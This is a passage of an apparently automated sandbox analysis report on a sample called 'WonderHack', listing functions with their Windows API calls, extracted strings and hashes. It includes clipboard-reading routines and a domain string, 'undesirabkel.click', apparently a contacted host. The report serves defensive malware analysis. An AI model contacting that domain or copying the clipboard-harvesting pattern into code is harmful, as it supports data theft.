Function 0043BA70 Relevance: 1.5, APIs: 1, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(?,00000000,004377BF,00000000,00004000,00000000,004377BF,00000000,00004000), ref: 0043BAA2

Memory Dump Source

Source File: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_WonderHack.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: f12a0d30cc2367c78ba08f1fd21fcf34805736e507490131006d9ced82152e8a
Instruction ID: be575660327ce48efbff70f1a81ba6d67653373a4ecd42db05ccb867a55137c7
Opcode Fuzzy Hash: f12a0d30cc2367c78ba08f1fd21fcf34805736e507490131006d9ced82152e8a
Instruction Fuzzy Hash: CBE02B36418311BBC2152F347D05B173A78DFCA734F050836F40192111DB38E81281EF

Function 0042FB06 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 0042FB4C

Memory Dump Source

Source File: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_WonderHack.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 0f3a594d24f492ad421ea8460d4e17b4e5aba94734245f3cc342df4c7054f90f
Instruction ID: 4e2864844023ea26aa9e2ee02480731ef327d8f3645c39fc8e2c289bfba3a2ea
Opcode Fuzzy Hash: 0f3a594d24f492ad421ea8460d4e17b4e5aba94734245f3cc342df4c7054f90f
Instruction Fuzzy Hash: CCF070B4509701CFE314DF28D5A8B1ABBF0FB89304F11891CE4958B3A1CB75A549CF82

Function 00430779 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 004307C3

Memory Dump Source

Source File: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_WonderHack.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: d0d004b74e83634fe9f7cd80248a028dc92d7887ef778d010a08205c6b6403e5
Instruction ID: f402ad757b55e4d436691d2150176b8ee0a7d87fd75628386497c25852c9749b
Opcode Fuzzy Hash: d0d004b74e83634fe9f7cd80248a028dc92d7887ef778d010a08205c6b6403e5
Instruction Fuzzy Hash: 69F017B55483028FE301CF24C55835BBBE1BBC5308F15892CE0A44B354C7B5A5498FC2

Function 0043BC91 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 0043BCA2

Memory Dump Source

Source File: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_WonderHack.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: de7ba2978205d3e5dac454b169e1469a028ee3eec04f5a814a46a1d3adc94483
Instruction ID: 34fc1b220f50a438f75fecb060dcf8b9689bf8e5ef46e1e0de830b6ef63ced86
Opcode Fuzzy Hash: de7ba2978205d3e5dac454b169e1469a028ee3eec04f5a814a46a1d3adc94483
Instruction Fuzzy Hash: DBE04FB9E019459FCB48CF29FC504B977A2E759314704547DE503C7761DB389906CB08

Function 0040C900 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

CoInitializeEx.COMBASE(00000000,00000002), ref: 0040C913

Memory Dump Source

Source File: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_WonderHack.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 848936b2f6a1009ae71585b31087a1977fcf0e71369a6819067518d21a73774f
Instruction ID: 600c1c55f4c47978a808d38d6d603c7baf665e00bbb4b934b296b6fd480c4591
Opcode Fuzzy Hash: 848936b2f6a1009ae71585b31087a1977fcf0e71369a6819067518d21a73774f
Instruction Fuzzy Hash: D5D02E21A140842BC608AB2CDC06F2736A8C703B92F000238A293C62D2E8007A00C169

Function 0040C935 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0040C947

Memory Dump Source

Source File: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_WonderHack.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: 921506b26635a132b4df4f2ddd7b465313c55da5b78467d40561622a9134298f
Instruction ID: fd192ded0c0cb464a206ce1d3467658bba8c5c20ae5ff3727e68ffbe475560a4
Opcode Fuzzy Hash: 921506b26635a132b4df4f2ddd7b465313c55da5b78467d40561622a9134298f
Instruction Fuzzy Hash: 8AD0C9787D83807AF1648B18EC17F203210AB02F66F340228B363FE2E2CAD07201860C

Function 0043A0A0 Relevance: 1.5, APIs: 1, Instructions: 15memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000,00000000,00413147), ref: 0043A0C0

Memory Dump Source

Source File: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_WonderHack.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 7e4a886f44f579dff80980d892cb73d2b56cb90909c1320e76daed750195b038
Instruction ID: 91785600a9bb6ba1e718d507953919cb8ba152ebb43f2213e550c9c7e00cfb49
Opcode Fuzzy Hash: 7e4a886f44f579dff80980d892cb73d2b56cb90909c1320e76daed750195b038
Instruction Fuzzy Hash: E6D0C931459222EBC6642F28BC05BCB3A68DF49721F0748A1B8046A075CB25DC92DAD8

Function 0043A080 Relevance: 1.5, APIs: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,7B1647F3,004088F3,10130D9D), ref: 0043A090

Memory Dump Source

Source File: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_WonderHack.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: a826fa1a808b86476f320bed956aa5f891f97a687e97340bd9f451430216ea59
Instruction ID: 837ad169f02d3a6e148c43055f209d62a0c8dee17724750e6d7a36a8bc783edc
Opcode Fuzzy Hash: a826fa1a808b86476f320bed956aa5f891f97a687e97340bd9f451430216ea59
Instruction Fuzzy Hash: 2DC09B31445121ABC7142B15FC09FCA3F68EF45755F154095F00467071CB70AC92C6D9

Non-executed Functions

Function 00423FF1 Relevance: 14.9, Strings: 11, Instructions: 1151COMMON

Download Yara Rule

Strings

`.`,, xrefs: 00424881
~x, xrefs: 004247DC
|*z(, xrefs: 0042488C
?2, xrefs: 00424418
RQ, xrefs: 00424423
GZ, xrefs: 0042442E
~C, xrefs: 004247E7
}{, xrefs: 004247D1
^_, xrefs: 00424223
XY, xrefs: 00424FE1
Um, xrefs: 004247F2

Memory Dump Source

Source File: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_WonderHack.jbxd

Similarity

API ID:
String ID: ?2$GZ$RQ$Um$XY$^_$`.`,$|*z($}{$~C$~x
API String ID: 0-3286641888
Opcode ID: abf1a2d51877641f5562f281eb5d011c9569786f6aa3996313bf72f662093cb3
Instruction ID: 8905dcfdf89283d7057ea18a46458f0f65d17b19ac1614b2b51523b123e5834b
Opcode Fuzzy Hash: abf1a2d51877641f5562f281eb5d011c9569786f6aa3996313bf72f662093cb3
Instruction Fuzzy Hash: 13A284B560C7918BC334CF24E8417AFBBF1FB95300F50892DE5D99B252E77499068B8A

Function 004226D3 Relevance: 9.5, Strings: 7, Instructions: 769COMMON

Download Yara Rule

Strings

zw, xrefs: 00422A06
20B, xrefs: 00423026
1{, xrefs: 00422A0E
undesirabkel.click, xrefs: 00422AEF
?<, xrefs: 00422AB6
0, xrefs: 00422888
r~, xrefs: 00422A16

Memory Dump Source

Source File: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_WonderHack.jbxd

Similarity

API ID:
String ID: 0$1{$20B$?<$r~$undesirabkel.click$zw
API String ID: 0-798024829
Opcode ID: fb6ee96e0be21326e94525104abc78ae555f1cb0e8431931a54a63ac0b47341b
Instruction ID: d33c3c22aecb478376be31245472bd180fa71e6bbe94e4be3b838edfdb885b08
Opcode Fuzzy Hash: fb6ee96e0be21326e94525104abc78ae555f1cb0e8431931a54a63ac0b47341b
Instruction Fuzzy Hash: 004213756083519FD328CF24E89176BBBE1FBC6300F58896CE8D54B391DB789901CB86

Function 00431B10 Relevance: 9.2, APIs: 6, Instructions: 152clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00431B24
GetClipboardData.USER32 ref: 00431B3F
GlobalLock.KERNEL32 ref: 00431B58
GetWindowLongW.USER32 ref: 00431BC7
GlobalUnlock.KERNEL32 ref: 00431CE7
CloseClipboard.USER32 ref: 00431CF4

Memory Dump Source

Source File: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_WonderHack.jbxd

Similarity

API ID: Clipboard$Global$CloseDataLockLongOpenUnlockWindow
String ID:
API String ID: 2832541153-0
Opcode ID: 5502842d010c68d0be0a87ba9bd2940b424877ada9b18a2ce83abf0bf6e0d2fd
Instruction ID: 456b1e1cfcf1951664547b6acc2f3bc49ddc4e535775eb3306363a95376e0e20
Opcode Fuzzy Hash: 5502842d010c68d0be0a87ba9bd2940b424877ada9b18a2ce83abf0bf6e0d2fd
Instruction Fuzzy Hash: E151E5B264C7818FC3009FBC888525EBAD1ABC9324F185B3EE5E5873E1D6788545C35B

Function 001B1A07 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,001B13BD,00000002,00000000,?,?,?,001B13BD,?,00000000), ref: 001B1AA0
GetLocaleInfoW.KERNEL32(?,20001004,001B13BD,00000002,00000000,?,?,?,001B13BD,?,00000000), ref: 001B1AC9
GetACP.KERNEL32(?,?,001B13BD,?,00000000), ref: 001B1ADE

Strings

ACP, xrefs: 001B1A25
OCP, xrefs: 001B1A5B

Memory Dump Source

Source File: 00000003.00000002.2215319406.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000003.00000002.2215289896.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215381591.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215419945.00000000001CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215481729.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215551781.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215680282.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_190000_WonderHack.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: ef10522a918b51a0706e0456f72f2da671bd887e59be44f56541d262cb52411e
Instruction ID: 6c38e9c8f5411d94f86237d08643a12c9cdaad87ec01399d7077dcd8b4a70e6b
Opcode Fuzzy Hash: ef10522a918b51a0706e0456f72f2da671bd887e59be44f56541d262cb52411e
Instruction Fuzzy Hash: E0215322B02181BADB348F75C921AD776AAEF54B54BE78465E90AD7204E732FE40C390

Function 00191FB0 Relevance: 7.7, APIs: 5, Instructions: 200fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00191240: _strlen.LIBCMT ref: 001912BA

GetFileSize.KERNEL32(00000000,00000000), ref: 00192046
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 0019206B
CloseHandle.KERNEL32(00000000), ref: 0019207A
_strlen.LIBCMT ref: 001920CD
CloseHandle.KERNEL32(00000000), ref: 001921FD

Memory Dump Source

Source File: 00000003.00000002.2215319406.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000003.00000002.2215289896.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215381591.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215419945.00000000001CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215481729.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215551781.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215680282.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_190000_WonderHack.jbxd

Similarity

API ID: CloseFileHandle_strlen$ReadSize
String ID:
API String ID: 1490117831-0
Opcode ID: 923c3b94258b6ce45587df6a3f1241914571b309d16f6077c189ee37d19a8adc
Instruction ID: bda8df2c7050e56b82611b45fd2f9c3d9d56496a46e5e77f7ac391782f95674a
Opcode Fuzzy Hash: 923c3b94258b6ce45587df6a3f1241914571b309d16f6077c189ee37d19a8adc
Instruction Fuzzy Hash: A771C0B2C00219ABCF10DFA4DC44BAEBBB5FF58314F180629E814A7391E7359995CBA1

Function 001B1287 Relevance: 7.7, APIs: 5, Instructions: 182COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 001AC16A: GetLastError.KERNEL32(00000000,?,001AE58D), ref: 001AC16E
Part of subcall function 001AC16A: SetLastError.KERNEL32(00000000,?,?,00000028,001A8363), ref: 001AC210

GetUserDefaultLCID.KERNEL32(-00000002,00000000,?,00000055,?), ref: 001B138F
IsValidCodePage.KERNEL32(00000000), ref: 001B13CD
IsValidLocale.KERNEL32(?,00000001), ref: 001B13E0
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 001B1428
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 001B1443

Memory Dump Source

Source File: 00000003.00000002.2215319406.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000003.00000002.2215289896.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215381591.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215419945.00000000001CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215481729.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215551781.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215680282.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_190000_WonderHack.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: dd7c0dd30c19326925c3adc2f8127327ab1f522563b25664683b61d7b27e3a80
Instruction ID: f094d01ce8f6977753156a438a21e8fd9fd2db29261de89f617b758cff8e738f
Opcode Fuzzy Hash: dd7c0dd30c19326925c3adc2f8127327ab1f522563b25664683b61d7b27e3a80
Instruction Fuzzy Hash: 2D514972A00205FBDB10EFA5CC95EFA77B8BF19710F964469F901E75A0EB709A408B61

Function 00418095 Relevance: 7.6, Strings: 5, Instructions: 1319COMMON

Download Yara Rule

Strings

(, xrefs: 004182E1
', xrefs: 00419102
K, xrefs: 00418162
d, xrefs: 00418726
Q230, xrefs: 00418B93

Memory Dump Source

Source File: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_WonderHack.jbxd

Similarity

API ID:
String ID: '$K$Q230$d$(
API String ID: 0-937174541
Opcode ID: 96b88a0bc1e9c7f4c3f8bbeb35a0a556ceff7617056c4195f8ea9ca94eec2832
Instruction ID: 58f53d59709b9d842a8a43f359275e23c79d1d1439031bf9fc017cbfd7306527
Opcode Fuzzy Hash: 96b88a0bc1e9c7f4c3f8bbeb35a0a556ceff7617056c4195f8ea9ca94eec2832
Instruction Fuzzy Hash: 469278716083418BD724CF28C8917ABBBE2FFD6354F18896EE4C58B391EB388945C756

Function 001A9CC0 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2215319406.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000003.00000002.2215289896.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215381591.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215419945.00000000001CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215481729.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215551781.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215680282.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_190000_WonderHack.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3bc9877c2baeb9d2eefe3dc346bd414728ba2a6b644d6a7f2363c8b83004931b
Instruction ID: 6955a253226427eeff5e906c3c431a4ca9131a525a910ffb721ef1740b47a541
Opcode Fuzzy Hash: 3bc9877c2baeb9d2eefe3dc346bd414728ba2a6b644d6a7f2363c8b83004931b
Instruction Fuzzy Hash: 8F023975E012199FDF14CFA8C9806AEBBB1FF49314F24826AE919E7341D731AE45CB90

Function 001B1FE9 Relevance: 6.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 001B20D9

Memory Dump Source

Source File: 00000003.00000002.2215319406.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000003.00000002.2215289896.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215381591.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215419945.00000000001CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215481729.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215551781.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215680282.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_190000_WonderHack.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: f9f4c35a3ef1455a95b0d86be966e2cef406ae0fc72c722a33362b531520ee0c
Instruction ID: e31bbf39e77bc4829ad00161880e60ace7cfffd52a00bbd1aaa641453f1732e4
Opcode Fuzzy Hash: f9f4c35a3ef1455a95b0d86be966e2cef406ae0fc72c722a33362b531520ee0c
Instruction Fuzzy Hash: CB71F3B19051586FDF21AF38DC89AFABBB9AF15300F1441D9E549E3211DB358E89CF10

Function 0019F8E9 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 0019F8F5
IsDebuggerPresent.KERNEL32 ref: 0019F9C1
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0019F9DA
UnhandledExceptionFilter.KERNEL32(?), ref: 0019F9E4

Memory Dump Source

Source File: 00000003.00000002.2215319406.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000003.00000002.2215289896.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215381591.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215419945.00000000001CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215481729.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215551781.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215680282.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_190000_WonderHack.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 894745067a25991bd30601d919fc01bc954bc214ecfeb976ca26351443d7e5df
Instruction ID: c16bed5981596e912f5741a61b59b9c2d8bfc03dd3c9b7d368645a483767140e
Opcode Fuzzy Hash: 894745067a25991bd30601d919fc01bc954bc214ecfeb976ca26351443d7e5df
Instruction Fuzzy Hash: 893106B5D01219ABDF21DFA4DD49BCDBBB8AF18300F1041AAE40DAB250EB759A85CF45

Function 004259B0 Relevance: 5.4, Strings: 4, Instructions: 408COMMON

Download Yara Rule

Strings

/V, xrefs: 00425A57
Y\, xrefs: 00425A5F
!J, xrefs: 00425A67
U+, xrefs: 00425A4F

Memory Dump Source

Source File: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_WonderHack.jbxd

Similarity

API ID:
String ID: !J$/V$U+$Y\
API String ID: 0-2652480667
Opcode ID: 6245c86af1fa167c098d8d9fd2067241db41687ff5bee92dd6a8e87abd358cc4
Instruction ID: e638dceca7007414c1790a2a48e061f39edb8c9276ca3b8e5075e95b8c8bbe4b
Opcode Fuzzy Hash: 6245c86af1fa167c098d8d9fd2067241db41687ff5bee92dd6a8e87abd358cc4
Instruction Fuzzy Hash: 59E123B5608300DFE724DF25E88176BB7F1FB96304F84892DE1D54B262DB349815CB56

Function 0042C894 Relevance: 5.3, Strings: 4, Instructions: 308COMMON

Download Yara Rule

Strings

d, xrefs: 0042CACA
^TFW, xrefs: 0042CC43
@, xrefs: 0042CBB3
0, xrefs: 0042CB61

Memory Dump Source

Source File: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_WonderHack.jbxd

Similarity

API ID:
String ID: 0$@$^TFW$d
API String ID: 0-3517422908
Opcode ID: 37f25ea6869bded6d623e990895bc7805b0ee94feffc2b6719acab69f49713cd
Instruction ID: 5bd2b57a04c6c6cac2f535ba146a6f82be99d0a7104f65c521330fa3aa0df0c5
Opcode Fuzzy Hash: 37f25ea6869bded6d623e990895bc7805b0ee94feffc2b6719acab69f49713cd
Instruction Fuzzy Hash: DE712B7020C3A14BD318CF3A94A133FBFD1AFD6304FA8896EE4D68B391D6788545875A

Function 0043A800 Relevance: 4.4, Strings: 3, Instructions: 638COMMON

Download Yara Rule

Strings

<Y?., xrefs: 0043ABDB
f, xrefs: 0043AA31
@Y?., xrefs: 0043AC15

Memory Dump Source

Source File: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_WonderHack.jbxd

Similarity

API ID: InitializeThunk
String ID: <Y?.$@Y?.$f
API String ID: 2994545307-3750340189
Opcode ID: f5d0ab0165fd72296afb49a4082ff4d1d69aa16d0b7bf5cdeb91bdb842df25fc
Instruction ID: c74426cb7d5c2b8464f7a726c278729e67e47e3ee492349ccfb6cdb994678fcd
Opcode Fuzzy Hash: f5d0ab0165fd72296afb49a4082ff4d1d69aa16d0b7bf5cdeb91bdb842df25fc
Instruction Fuzzy Hash: 2E2200716483418FD314CF28C890B2BFBE2BB89314F189A2DE5D597392D639EC158B5B

Function 0042C984 Relevance: 4.1, Strings: 3, Instructions: 301COMMON

Download Yara Rule

Strings

d, xrefs: 0042CACA
^TFW, xrefs: 0042CC43
@, xrefs: 0042CBB3

Memory Dump Source

Source File: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_WonderHack.jbxd

Similarity

API ID:
String ID: @$^TFW$d
API String ID: 0-3772873652
Opcode ID: e77948e8393a9cc7bdcb460bf7634ff0d9ab7fe049b435dd13a9d95e45e3b21a
Instruction ID: 2799912a11167947c30dacb984bff5d50de61b2a63b57257e2670e2a4959d2e1
Opcode Fuzzy Hash: e77948e8393a9cc7bdcb460bf7634ff0d9ab7fe049b435dd13a9d95e45e3b21a
Instruction Fuzzy Hash: 66711A7020C3A14BD318CF3A94A133FBFD19FD6344FA8896EE4D68B391D67885458B5A

Function 0042C9E9 Relevance: 4.0, Strings: 3, Instructions: 300COMMON

Download Yara Rule

Strings

d, xrefs: 0042CACA
^TFW, xrefs: 0042CC43
@, xrefs: 0042CBB3

Memory Dump Source

Source File: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_WonderHack.jbxd

Similarity

API ID:
String ID: @$^TFW$d
API String ID: 0-3772873652
Opcode ID: 428764b825e4b8ba2b7fca742bfc1c8c513ef9c8b7cb12bd82b87945db3e714d
Instruction ID: 458834963df5767a90244649d61e24c3552d5e0eb6c30586b80692c9ea77be3c
Opcode Fuzzy Hash: 428764b825e4b8ba2b7fca742bfc1c8c513ef9c8b7cb12bd82b87945db3e714d
Instruction Fuzzy Hash: 0071197020C3914BD318CF3A94A133FBFD19FD6344FA8896EE4D68B391D67885458B5A

Function 0042C9DA Relevance: 4.0, Strings: 3, Instructions: 274COMMON

Download Yara Rule

Strings

d, xrefs: 0042CACA
^TFW, xrefs: 0042CC43
@, xrefs: 0042CBB3

Memory Dump Source

Source File: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_WonderHack.jbxd

Similarity

API ID:
String ID: @$^TFW$d
API String ID: 0-3772873652
Opcode ID: 3f31c8060202d205d8d56ef81dab902602b2f34c72238eee859b47f9e4bd7e14
Instruction ID: 7127210c2118b4699990a0b47df2bedd54d271212ffcb081a94f2e7bc78a3b0a
Opcode Fuzzy Hash: 3f31c8060202d205d8d56ef81dab902602b2f34c72238eee859b47f9e4bd7e14
Instruction Fuzzy Hash: A1613C6020C3914BD318CF3A94A133BFFD19FE7344F98896EE4D68B391D67885068B5A

Function 0041720B Relevance: 3.4, Strings: 2, Instructions: 890COMMON

Download Yara Rule

Strings

!, xrefs: 004178E5
1, xrefs: 00417631

Memory Dump Source

Source File: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_WonderHack.jbxd

Similarity

API ID: InitializeThunk
String ID: !$1
API String ID: 2994545307-1727534169
Opcode ID: 2a0b0e61a0fd46e687afd3fb80dceb4b2a217cab351d90bd5ba14a3ec35806dd
Instruction ID: 18e54f202c1cd8f8496f1e16bfd62ccc5ce9293f6dd7f49c90947e8211889b76
Opcode Fuzzy Hash: 2a0b0e61a0fd46e687afd3fb80dceb4b2a217cab351d90bd5ba14a3ec35806dd
Instruction Fuzzy Hash: 3222547460C3418FD7258F24D8917BBBBE2FB9A314F18497DD4C687262D7388846CB5A

Function 0041CC60 Relevance: 3.0, Strings: 2, Instructions: 493COMMON

Download Yara Rule

Strings

06i`, xrefs: 0041D13A
46i`, xrefs: 0041D104

Memory Dump Source

Source File: 00000003.00000002.2215721873.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_WonderHack.jbxd

Similarity

API ID:
String ID: 06i`$46i`
API String ID: 0-253969996
Opcode ID: 950d7402485480fe5043ae326df5e941a9b7dffefcdfff4a21107514e64b3dfe
Instruction ID: f2447ed329897e406d807fa8b6de1cfbf394bef9ae46c609ed5e471a74be3ede
Opcode Fuzzy Hash: 950d7402485480fe5043ae326df5e941a9b7dffefcdfff4a21107514e64b3dfe
